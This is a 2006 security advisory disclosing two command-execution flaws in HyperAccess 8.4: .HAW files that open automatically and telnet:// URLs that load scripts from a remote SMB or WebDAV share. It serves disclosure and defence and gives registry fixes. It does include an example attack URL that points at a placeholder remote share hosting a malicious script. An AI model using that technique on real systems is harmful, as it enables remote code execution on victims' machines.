HyperAccess - Multiple Vulnerabilities
Not long now...
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= Hyper Access - Multiple Vulnerabilities
=
= Vendor Website:
= http://www.hilgraeve.com
=
= Affected Software:
= Hyper Access 8.4 (and possibly lower)
=
= Public disclosure on Thursday December 14, 2006
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== Overview ==
HyperAccess is the official FULL-POWERED upgrade from HyperTerminal and
HyperTerminal Private Edition. It is the product from which
HyperTerminal
and HyperTerminal Private Edition are derived. HyperAccess offers a wide
array of additional capabilities, with a similar look andfeel.
This advisory discloses two separate (but similar) security issues in
the latest version of HyperAccess .
* Command Execution Through .HAW Opening *
HyperAccess saves 'sessions' as .haw files. These extensions are setup
to
open without user intervention, through the editflags setting the in the
registry key:
HKEY_CLASSES_ROOT\HAWin32\EditFlags.
If a user, using Internet Explorer, browses to a web site that hosts a
.HAW, an automatic download and open can be forced. The file will be
opened and parsed by the installed version of HyperAccess.
A .HAW file can be saved with an option 'Script To Run Before
Connecting'
and this can be setup to load a script file from either an SMB share or
a WEBDAV web share.
The script command offered by HyperAccess include built in commands as
well as standard vbscript. This allows the creation of a script that
uses WScript.Shell to spawn other executables.
This attack requires the target to visit the attackers website, and be
able to connect to the remote share.
A suggested fix is to remove/modify the editflags setting to prevent the
automatic opening and parsing of .HAW files.
* Command Execution Through Telnet URL Protocol *
HyperAccess sets up a URL Protocol to handle the telnet:// URL handler.
This setting can be viewed in the registry key:
HKEY_CLASSES_ROOT\telnet\shell\open\command
which is set to
c:\program files\hawin32\hawin32.exe /t %1
HyperAccess will accept /r as a command line parameter to specify a
script file to run. This command can be passed on the URL through
Internet
Explorer using a URL such as;
telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt
Where SERVER is an SMB share or a WEBDAV web share hosting a malicious
script to run.
The script command offered by Hyperaccess include built in commands as
well as standard vbscript. This allows the creation of a script that
uses WScript.Shell to spawn other executables.
This attack requires the target to visit the attackers website, and be
able to connect to the remote share.
A suggested fix is to remove the telnet handler from the registry.
== Solutions ==
Currently, the issues outlined in the report have been added to a
list of issues to evaluate during the next update of HyperACCESS.
There is currently no planned date for this update.
== Credit ==
Discovered and advised to Hilgraeve November 10, 2006 by Brett Moore of
Security-Assessment.com
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